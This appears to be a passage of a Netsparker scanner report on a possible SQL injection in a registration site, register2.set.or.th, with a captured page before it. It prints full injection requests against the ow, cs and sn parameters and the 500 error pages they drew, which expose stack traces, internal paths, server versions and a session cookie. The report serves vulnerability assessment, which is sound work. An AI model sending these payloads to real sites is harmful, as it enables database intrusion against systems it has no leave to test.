Content-Length: 5899



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<title>detail</title>
<meta content="True" name="vs_snapToGrid">
<meta content="Microsoft Visual Studio .NET 7.1" name="GENERATOR">
<meta content="Visual Basic .NET 7.1" name="CODE_LANGUAGE">
<meta content="JavaScript" name="vs_defaultClientScript">
<meta content="http://schemas.microsoft.com/intellisense/ie5" name="vs_targetSchema">
<LINK href="../styles/regStyle.css" type="text/css" rel="stylesheet">
</HEAD>
<body bgColor="lightgrey" MS_POSITIONING="GridLayout">
<form name="Form1" method="post" action="detail.aspx?ow=FKH&amp;cs=S0001&amp;sn=0049" id="Form1">
<input type="hidden" name="__VIEWSTATE" value="dDwxMjU5OTQxMDQ4O3Q8O2w8aTwxPjs+O2w8dDw7bDxpPDE+O2k8Mzc+Oz47bDx0PDtsPGk8MT47aTwyPjtpPDQ+O2k8NT47PjtsPHQ8cDxsPHNyYzs+O2w8Li4vaW1hZ2VzL3NldC1sb2dvLWluZGV4LmdpZjs+Pjs7Pjt0PHA8bDxWaXNpYmxlOz47bDxvPGY+Oz4+Ozs+O3Q8cDxsPFZpc2libGU7PjtsPG88Zj47Pj47Oz47dDxwPGw8VmlzaWJsZTs+O2w8bzxmPjs+Pjs7Pjs+Pjt0PHA8cDxsPEVuYWJsZWQ7PjtsPG88Zj47Pj47Pjs7Pjs+Pjs+Pjs+XLz31E4HaiMvL6dN2jWWZ/vEA8E=" />

<TABLE id="Table1" style="Z-INDEX: 101; LEFT: 0px; POSITION: absolute; TOP: 0px; HEIGHT: 591px"
cellSpacing="0" cellPadding="0" width="750" align="left" bgColor="white" border="0">
<TR>
<TD style="HEIGHT: 11px"><FONT face="Tahoma">
<meta content="False" name="vs_snapToGrid">
<meta content="False" name="vs_showGrid">
<TABLE id="Table1" style="WIDTH: 645px; HEIGHT: 36px" cellSpacing="0" cellPadding="0" width="645"
border="0">
<TR>
<TD style="HEIGHT: 7px"><img src="../images/set-logo-index.gif" id="Header1_Img1" border="0" /></TD>
</TR>
<TR>
<TD style="HEIGHT: 2px"></TD>
</TR>
</TABLE>
</FONT></TD>
</TR>
<TR>
<TD style="HEIGHT: 26px"><FONT face="Tahoma"><img id="snDetailHeadImg" src="../images/Body/head_semdetail.gif" border="0" /></FONT></TD>
</TR>
<TR>
<TD style="HEIGHT: 418px" vAlign="middle" align="center">
<TABLE id="Table2" style="WIDTH: 700px; HEIGHT: 393px" cellSpacing="0" cellPadding="0"
width="700" border="0">
<TR>
<TD style="WIDTH: 1px; HEIGHT: 45px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 1px; HEIGHT: 45px"></TD>
<TD style="WIDTH: 31px; HEIGHT: 45px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 714px; HEIGHT: 45px" colSpan="2"><P><FONT face="Tahoma">&nbsp;</P>
<P></FONT><span id="snNamelbl" class="textField" style="width:588px;"></span></P>
<FONT face="Tahoma">
<P><span id="snDescLbl" class="labelField" style="width:596px;"></span></P>
<HR width="100%" SIZE="1">
</FONT>
</TD>
</TR>
<TR>
<TD style="WIDTH: 1px; HEIGHT: 218px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 1px; HEIGHT: 218px"><FONT face="Tahoma"></FONT></TD>
<TD style="WIDTH: 31px; HEIGHT: 218px"></TD>
<TD style="WIDTH: 714px; HEIGHT: 218px" vAlign="top" colSpan="2"><FONT face="Tahoma"></FONT><FONT face="Tahoma"></FONT>
<TABLE id="Table3" style="WIDTH: 624px; HEIGHT: 223px" cellSpacing="0" cellPadding="0"
width="624" border="0">
<TR>
<TD style="WIDTH: 210px; HEIGHT: 31px"><FONT face="Tahoma"><span id="snStartDtTmlbl" class="textField">วันเวลา / Date&Time</span></FONT></TD>
<TD style="WIDTH: 424px; HEIGHT: 31px"><FONT face="Tahoma"><span id="snStartDtTm" class="labelField"></span></FONT></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 31px"><span id="snVenuelbl" class="textField">สถานที่ / Venue</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 31px"><span id="snVenue" class="labelField"></span></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 32px"><span id="snFeelbl" class="textField">ค่าธรรมเนียม / Fee</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 32px"><span id="snFee" class="labelField" style="width:73px;"></span><FONT face="Tahoma">&nbsp;
</FONT>
<span id="currencyLbl" class="labelField">บาท / Baht</span></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 32px"><span id="snMaxSeatlbl" class="textField">จำนวนที่รับ / Total Seats</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 32px"><FONT face="Tahoma"><span id="snMaxSeat" class="labelField"></span></FONT></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 30px"><span id="snAvSeatlbl" class="textField">ที่นั่งคงเหลือ / Available Seats</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 30px"><span id="snAvSeat" class="labelField"></span></TD>
</TR>
<TR>
<TD style="WIDTH: 210px; HEIGHT: 31px"><span id="snRemarklbl" class="textField">หมายเหตุ / Remark</span></TD>
<TD style="WIDTH: 424px; HEIGHT: 31px"><span id="snRemark" class="labelField"></span></TD>
</TR>
</TABLE>
</TD>
</TR>
<TR>
<TD style="WIDTH: 1px; HEIGHT: 127px" vAlign="middle"></TD>
<TD style="WIDTH: 1px; HEIGHT: 127px" vAlign="middle"></TD>
<TD style="WIDTH: 31px; HEIGHT: 127px"></TD>
<TD style="WIDTH: 714px; HEIGHT: 127px" vAlign="top" align="left" colSpan="2"><FONT face="Tahoma">&nbsp;&nbsp;
</FONT>
<HR width="100%" SIZE="1">
<input type="submit" name="backBtn" value="Back" id="backBtn" class="button" style="width:80px;" /><FONT face="Tahoma">&nbsp;
</FONT>
<input type="submit" name="registBtn" value="Register" id="registBtn" disabled="disabled" class="button" style="width:80px;" /></TD>
</TR>
</TABLE>
</TD>
</TR>
<TR>
<TD><FONT face="Tahoma"></FONT></TD>
</TR>
</TABLE>
</form>
</body>
</HTML>
[Possible] SQL Injection

[Possible] SQL Injection

5 TOTAL
LOW
SQL Injection occurs when data input for example by a user is interpreted as a SQL command rather than normal data by the backend database. However this issue could not be confirmed by Netsparker. Netsparker believes that this was not an SQL Injection however there were some indications of a possible SQL Injection. There can be numerous reasons for Netsparker not being able to confirm it. We strongly recommend investigating the issue manually. You can also consider sending the details of this issue to us, so we can address this issue for the next time and give you a more precise result.

Impact

Depending on the backend database, the database connection settings and the operating system, an attacker can mount one or more of the following type of attacks successfully:

Remedy

A robust method for mitigating the threat of SQL Injection based vulnerabilities is to use parameterized queries (prepared statements). Almost all modern languages provide built in libraries for this. Wherever possible do not create dynamic SQL queries or SQL queries with string concatenation.

Required Skills for Successful Exploitation

There are numerous freely available tools to exploit SQL Injection vulnerabilities. This is a complex area with many dependencies, however it should be noted that the numerous resources available in this area have raised both attacker awareness of the issues and their ability to discover and leverage them. SQL Injection is one of the most common web application vulnerabilities.

External References

Remedy References

- /semreg/enroll.aspx

/semreg/enroll.aspx

http://register2.set.or.th/semreg/enroll.aspx?ow='+%20(select%20convert(int,CHAR(95)+CHAR(33)+CHAR(6..

Parameters

Parameter Type Value
ow GET ' (select convert(int,CHAR(95) CHAR(33) CHAR(64) CHAR(50) CHAR(100) CHAR(105) CHAR(108) CHAR(101) CHAR(109) CHAR(109) CHAR(97)) FROM syscolumns) '
cs GET S0001
sn GET 0049

Request

GET /semreg/enroll.aspx?ow='+%20(select%20convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))%20FROM%20syscolumns)%20+'&cs=S0001&sn=0049 HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:38:14 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5063


<html>
<head>
<title>Line 1: Incorrect syntax near 'CHAR'.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Line 1: Incorrect syntax near 'CHAR'.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'CHAR'.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Line 1: Incorrect syntax near 'CHAR'.]
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) +723
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) +45
System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) +5
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:215
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Line 1: Incorrect syntax near 'CHAR'.
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
- /semreg/detail.aspx

/semreg/detail.aspx

http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs='%2B(select+1+and+row(1%2c1)%3e(select+count..

Parameters

Parameter Type Value
ow GET FKH
cs GET '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'
sn GET 0049

Request

GET /semreg/detail.aspx?ow=FKH&cs='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B'&sn=0049 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:48:01 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5076


<html>
<head>
<title>Incorrect syntax near the keyword 'AND'.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Incorrect syntax near the keyword 'AND'.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Incorrect syntax near the keyword 'AND'.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Incorrect syntax near the keyword 'AND'.]
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) +723
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) +45
System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) +5
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:129
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Incorrect syntax near the keyword 'AND'.
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:line 129
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
- /semreg/detail.aspx

/semreg/detail.aspx

http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn='%2B(select+1+and+row(1%2c1)%3e(sel..

Parameters

Parameter Type Value
ow GET FKH
cs GET S0001
sn GET '+(select 1 and row(1,1)>(select count(*),concat(CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))+'

Request

GET /semreg/detail.aspx?ow=FKH&cs=S0001&sn='%2B(select+1+and+row(1%2c1)%3e(select+count(*)%2cconcat(CONCAT(CHAR(95)%2CCHAR(33)%2CCHAR(64)%2CCHAR(52)%2CCHAR(100)%2CCHAR(105)%2CCHAR(108)%2CCHAR(101)%2CCHAR(109)%2CCHAR(109)%2CCHAR(97))%2c0x3a%2cfloor(rand()*2))x+from+(select+1+union+select+2)a+group+by+x+limit+1))%2B' HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:56:50 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5076


<html>
<head>
<title>Incorrect syntax near the keyword 'AND'.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Incorrect syntax near the keyword 'AND'.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Incorrect syntax near the keyword 'AND'.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Incorrect syntax near the keyword 'AND'.]
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) +723
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) +45
System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) +5
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:129
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Incorrect syntax near the keyword 'AND'.
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.detail.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\detail.aspx.vb:line 129
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
- /semreg/enroll.aspx

/semreg/enroll.aspx

http://register2.set.or.th/semreg/enroll.aspx?ow=FKH&cs='+%20(select%20convert(int,CHAR(95)+CHAR(33)..

Parameters

Parameter Type Value
ow GET FKH
cs GET ' (select convert(int,CHAR(95) CHAR(33) CHAR(64) CHAR(50) CHAR(100) CHAR(105) CHAR(108) CHAR(101) CHAR(109) CHAR(109) CHAR(97)) FROM syscolumns) '
sn GET 0049

Request

GET /semreg/enroll.aspx?ow=FKH&cs='+%20(select%20convert(int,CHAR(95)+CHAR(33)+CHAR(64)+CHAR(50)+CHAR(100)+CHAR(105)+CHAR(108)+CHAR(101)+CHAR(109)+CHAR(109)+CHAR(97))%20FROM%20syscolumns)%20+'&sn=0049 HTTP/1.1
Referer: http://register2.set.or.th/semreg/detail.aspx?ow=FKH&cs=S0001&sn=0049
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: register2.set.or.th
Cookie: ASP.NET_SessionId=3lwhfajpd42thyimsoezhcuk
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 500 Internal Server Error
Server: Microsoft-IIS/5.0
Date: Tue, 03 May 2011 13:58:20 GMT
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Cache-Control: private
Content-Type: text/html; charset=windows-874
Content-Length: 5063


<html>
<head>
<title>Line 1: Incorrect syntax near 'CHAR'.</title>
<style>
body {font-family:"Verdana";font-weight:normal;font-size: .7em;color:black;}
p {font-family:"Verdana";font-weight:normal;color:black;margin-top: -5px}
b {font-family:"Verdana";font-weight:bold;color:black;margin-top: -5px}
H1 { font-family:"Verdana";font-weight:normal;font-size:18pt;color:red }
H2 { font-family:"Verdana";font-weight:normal;font-size:14pt;color:maroon }
pre {font-family:"Lucida Console";font-size: .9em}
.marker {font-weight: bold; color: black;text-decoration: none;}
.version {color: gray;}
.error {margin-bottom: 10px;}
.expandable { text-decoration:underline; font-weight:bold; color:navy; cursor:hand; }
</style>
</head>

<body bgcolor="white">

<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>

<h2> <i>Line 1: Incorrect syntax near 'CHAR'.</i> </h2></span>

<font face="Arial, Helvetica, Geneva, SunSans-Regular, sans-serif ">

<b> Description: </b>An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

<br><br>

<b> Exception Details: </b>System.Data.SqlClient.SqlException: Line 1: Incorrect syntax near 'CHAR'.<br><br>

<b>Source Error:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code>

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.</code>

</td>
</tr>
</table>

<br>

<b>Stack Trace:</b> <br><br>

<table width=100% bgcolor="#ffffcc">
<tr>
<td>
<code><pre>

[SqlException: Line 1: Incorrect syntax near 'CHAR'.]
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream) +723
System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior) +45
System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior) +5
System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +304
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior) +77
System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable) +36
linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:215
System.Web.UI.Control.OnLoad(EventArgs e) +67
System.Web.UI.Control.LoadRecursive() +35
System.Web.UI.Page.ProcessRequestMain() +731
</pre></code>

</td>
</tr>
</table>

<br>

<hr width=100% size=1 color=silver>

<b>Version Information:</b>&nbsp;Microsoft .NET Framework Version:1.1.4322.573; ASP.NET Version:1.1.4322.573

</font>

</body>
</html>
<!--
[SqlException]: Line 1: Incorrect syntax near 'CHAR'.
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior cmdBehavior, RunBehavior runBehavior, Boolean returnStream)
at System.Data.SqlClient.SqlCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.SqlClient.SqlCommand.System.Data.IDbCommand.ExecuteReader(CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.FillFromCommand(Object data, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, Int32 startRecord, Int32 maxRecords, String srcTable, IDbCommand command, CommandBehavior behavior)
at System.Data.Common.DbDataAdapter.Fill(DataSet dataSet, String srcTable)
at linkCC.enroll3.Page_Load(Object sender, EventArgs e) in C:\Registration\SemReg\enroll.aspx.vb:line 215
at System.Web.UI.Control.OnLoad(EventArgs e)
at System.Web.UI.Control.LoadRecursive()
at System.Web.UI.Page.ProcessRequestMain()
[HttpUnhandledException]: Exception of type System.Web.HttpUnhandledException was thrown.
at System.Web.UI.Page.HandleError(Exception e)
at System.Web.UI.Page.ProcessRequestMain()
at System.Web.UI.Page.ProcessRequest()
at System.Web.UI.Page.ProcessRequest(HttpContext context)
at System.Web.CallHandlerExecutionStep.System.Web.HttpApplication+IExecutionStep.Execute()
at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)
-->
- /semreg/enroll.aspx

/semreg/enroll.aspx

http://register2.set.or.th/semreg/enroll.aspx?ow=FKH&cs=S0001&sn='+%20(select%20convert(int,CHAR(95)..

Parameters

Parameter Type Value
ow GET FKH
cs GET S0001
